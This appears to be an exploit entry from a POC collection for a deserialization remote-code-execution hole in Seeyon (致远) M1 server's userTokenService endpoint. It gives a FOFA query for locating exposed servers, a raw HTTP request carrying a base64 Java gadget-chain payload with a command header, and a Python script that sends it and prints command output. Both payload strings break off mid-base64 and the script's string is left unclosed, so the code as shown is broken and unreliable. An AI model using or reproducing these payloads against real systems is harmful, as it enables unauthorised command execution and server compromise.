POC/wpoc/致远OA/致远M1 usertokenservice 反序列化RCE漏洞.md

## 致远M1 usertokenservice 反序列化RCE漏洞

## fofa
```
"M1-Server 已启动"
```

## poc
```
POST /esn_mobile_pns/service/userTokenService HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
cmd: @@@@@echo test

{{base64_decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyACBqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlcgAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQAC25ld0luc3RhbmNldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3EAfgATdXEAfgAYAAAAAXQAAmpzdAAPZ2V0RW5naW5lQnlOYW1ldXEAfgAbAAAAAXZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHNxAH4AE3VxAH4AGAAAAAF0LWx0cnkgewogIGxvYWQoIm5hc2hvcm46bW96aWxsYV9jb21wYXQuanMiKTsKfSBjYXRjaCAoZSkge30KZnVuY3Rpb24gZ2V0VW5zYWZlKCl7CiAgdmFyIHRoZVVuc2FmZU1ldGhvZCA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5VbnNhZmUiKS5nZXREZWNsYXJlZEZpZWxkKCd0aGVVbnNhZmUnKTsKICB0aGVVbnNhZmVNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsgCiAgcmV0dXJuIHRoZVVuc2FmZU1ldGhvZC5nZXQobnVsbCk7Cn0KZnVuY3Rpb24gcmVtb3ZlQ2xhc3NDYWNoZShjbGF6eil7CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOwogIHZhciBjbGF6ekFub255bW91c0NsYXNzID0gdW5zYWZlLmRlZmluZUFub255bW91c0NsYXNzKGNsYXp6LGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3MiKS5nZXRSZXNvdXJjZUFzU3RyZWFtKCJDbGFzcy5jbGFzcyIpLnJlYWRBbGxCeXRlcygpLG51bGwpOwogIHZhciByZWZsZWN0aW9uRGF0YUZpZWxkID0gY2xhenpBbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJyZWZsZWN0aW9uRGF0YSIpOwogIHVuc2FmZS5wdXRPYmplY3QoY2xhenosdW5zYWZlLm9iamVjdEZpZWxkT2Zmc2V0KHJlZmxlY3Rpb25EYXRhRmllbGQpLG51bGwpOwp9CmZ1bmN0aW9uIGJ5cGFzc1JlZmxlY3Rpb25GaWx0ZXIoKSB7CiAgdmFyIHJlZmxlY3Rpb25DbGFzczsKICB0cnkgewogICAgcmVmbGVjdGlvbkNsYXNzID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoImpkay5pbnRlcm5hbC5yZWZsZWN0LlJlZmxlY3Rpb24iKTsKICB9IGNhdGNoIChlcnJvcikgewogICAgcmVmbGVjdGlvbkNsYXNzID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0LlJlZmxlY3Rpb24iKTsKICB9CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOwogIHZhciBjbGFzc0J1ZmZlciA9IHJlZmxlY3Rpb25DbGFzcy5nZXRSZXNvdXJjZUFzU3RyZWFtKCJSZWZsZWN0aW9uLmNsYXNzIikucmVhZEFsbEJ5dGVzKCk7CiAgdmFyIHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcyA9IHVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhyZWZsZWN0aW9uQ2xhc3MsIGNsYXNzQnVmZmVyLCBudWxsKTsKICB2YXIgZmllbGRGaWx0ZXJNYXBGaWVsZCA9IHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJmaWVsZEZpbHRlck1hcCIpOwogIHZhciBtZXRob2RGaWx0ZXJNYXBGaWVsZCA9IHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJtZXRob2RGaWx0ZXJNYXAiKTsKICBpZiAoZmllbGRGaWx0ZXJNYXBGaWVsZC5nZXRUeXBlKCkuaXNBc3NpZ25hYmxlRnJvbShqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKSkpIHsKICAgIHVuc2FmZS5wdXRPYmplY3QocmVmbGVjdGlvbkNsYXNzLCB1bnNhZmUuc3RhdGljRmllbGRPZmZzZXQoZmllbGRGaWx0ZXJNYXBGaWVsZCksIGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuSGFzaE1hcCIpLmdldENvbnN0cnVjdG9yKCkubmV3SW5zdGFuY2UoKSk7CiAgfQogIGlmIChtZXRob2RGaWx0ZXJNYXBGaWVsZC5nZXRUeXBlKCkuaXNBc3NpZ25hYmxlRnJvbShqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKSkpIHsKICAgIHVuc2FmZS5wdXRPYmplY3QocmVmbGVjdGlvbkNsYXNzLCB1bnNhZmUuc3RhdGljRmllbGRPZmZzZXQobWV0aG9kRmlsdGVyTWFwRmllbGQpLCBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKS5nZXRDb25zdHJ1Y3RvcigpLm5ld0luc3RhbmNlKCkpOwogIH0KICByZW1vdmVDbGFzc0NhY2hlKGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3MiKSk7Cn0KZnVuY3Rpb24gc2V0QWNjZXNzaWJsZShhY2Nlc3NpYmxlT2JqZWN0KXsKICAgIHZhciB1bnNhZmUgPSBnZXRVbnNhZmUoKTsKICAgIHZhciBvdmVycmlkZUZpZWxkID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoImphdmEubGFuZy5yZWZsZWN0LkFjY2Vzc2libGVPYmplY3
```

## 检测脚本
```python
import requests
import urllib3
import sys
import time
import json
import re
import urllib
import base64

urllib3.disable_warnings()

def verify(site):
    burp0_url = site + "/esn_mobile_pns/service/userTokenService"
    headers = {
        "Content-Type":"application/x-www-form-urlencoded",
        "cmd":"@@@@@ver"
    }    
    raw_data = base64.b64decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyACBqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlcgAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQAC25ld0luc3RhbmNldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3EAfgATdXEAfgAYAAAAAXQAAmpzdAAPZ2V0RW5naW5lQnlOYW1ldXEAfgAbAAAAAXZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHNxAH4AE3VxAH4AGAAAAAF0LWx0cnkgewogIGxvYWQoIm5hc2hvcm46bW96aWxsYV9jb21wYXQuanMiKTsKfSBjYXRjaCAoZSkge30KZnVuY3Rpb24gZ2V0VW5zYWZlKCl7CiAgdmFyIHRoZVVuc2FmZU1ldGhvZCA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5VbnNhZmUiKS5nZXREZWNsYXJlZEZpZWxkKCd0aGVVbnNhZmUnKTsKICB0aGVVbnNhZmVNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsgCiAgcmV0dXJuIHRoZVVuc2FmZU1ldGhvZC5nZXQobnVsbCk7Cn0KZnVuY3Rpb24gcmVtb3ZlQ2xhc3NDYWNoZShjbGF6eil7CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOwogIHZhciBjbGF6ekFub255bW91c0NsYXNzID0gdW5zYWZlLmRlZmluZUFub255bW91c0NsYXNzKGNsYXp6LGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3MiKS5nZXRSZXNvdXJjZUFzU3RyZWFtKCJDbGFzcy5jbGFzcyIpLnJlYWRBbGxCeXRlcygpLG51bGwpOwogIHZhciByZWZsZWN0aW9uRGF0YUZpZWxkID0gY2xhenpBbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJyZWZsZWN0aW9uRGF0YSIpOwogIHVuc2FmZS5wdXRPYmplY3QoY2xhenosdW5zYWZlLm9iamVjdEZpZWxkT2Zmc2V0KHJlZmxlY3Rpb25EYXRhRmllbGQpLG51bGwpOwp9CmZ1bmN0aW9uIGJ5cGFzc1JlZmxlY3Rpb25GaWx0ZXIoKSB7CiAgdmFyIHJlZmxlY3Rpb25DbGFzczsKICB0cnkgewogICAgcmVmbGVjdGlvbkNsYXNzID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoImpkay5pbnRlcm5hbC5yZWZsZWN0LlJlZmxlY3Rpb24iKTsKICB9IGNhdGNoIChlcnJvcikgewogICAgcmVmbGVjdGlvbkNsYXNzID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0LlJlZmxlY3Rpb24iKTsKICB9CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOwogIHZhciBjbGFzc0J1ZmZlciA9IHJlZmxlY3Rpb25DbGFzcy5nZXRSZXNvdXJjZUFzU3RyZWFtKCJSZWZsZWN0aW9uLmNsYXNzIikucmVhZEFsbEJ5dGVzKCk7CiAgdmFyIHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcyA9IHVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhyZWZsZWN0aW9uQ2xhc3MsIGNsYXNzQnVmZmVyLCBudWxsKTsKICB2YXIgZmllbGRGaWx0ZXJNYXBGaWVsZCA9IHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJmaWVsZEZpbHRlck1hcCIpOwogIHZhciBtZXRob2RGaWx0ZXJNYXBGaWVsZCA9IHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJtZXRob2RGaWx0ZXJNYXAiKTsKICBpZiAoZmllbGRGaWx0ZXJNYXBGaWVsZC5nZXRUeXBlKCkuaXNBc3NpZ25hYmxlRnJvbShqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKSkpIHsKICAgIHVuc2FmZS5wdXRPYmplY3QocmVmbGVjdGlvbkNsYXNzLCB1bnNhZmUuc3RhdGljRmllbGRPZmZzZXQoZmllbGRGaWx0ZXJNYXBGaWVsZCksIGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuSGFzaE1hcCIpLmdldENvbnN0cnVjdG9yKCkubmV3SW5zdGFuY2UoKSk7CiAgfQogIGlmIChtZXRob2RGaWx0ZXJNYXBGaWVsZC5nZXRUeXBlKCkuaXNBc3NpZ25hYmxlRnJvbShqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKSkpIHsKICAgIHVuc2FmZS5wdXRPYmplY3QocmVmbGVjdGlvbkNsYXNzLCB1bnNhZmUuc3RhdGljRmllbGRPZmZzZXQobWV0aG9kRmlsdGVyTWFwRmllbGQpLCBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKS5nZXRDb25zdHJ1Y3RvcigpLm5ld0luc3RhbmNlKCkpOwogIH0KICByZW1vdmVDbGFzc0NhY2hlKGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3MiKSk7Cn0KZnVuY3Rpb24gc2V0QWNjZXNzaWJsZShhY2Nlc3NpYmxlT2JqZWN0KXsKICAgIHZhciB1bnNhZmUgPSBnZXRVbnNhZmUoKTsKICAgIHZhciBvdmVycmlkZUZpZWxkID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoImphdmEubGFuZy5yZWZsZWN0LkFjY2
    req = requests.post(burp0_url, headers=headers, data=raw_data, verify=False)
    if req.status_code==200:
        return req.text
    return ""
    
if __name__=="__main__":
    target = sys.argv[1]
    info = verify(target)
    if info != "":
        print("[+]漏洞存在, 执行命令 ver 的结果为：", info)
    else:
        print("[-]漏洞不存在")

```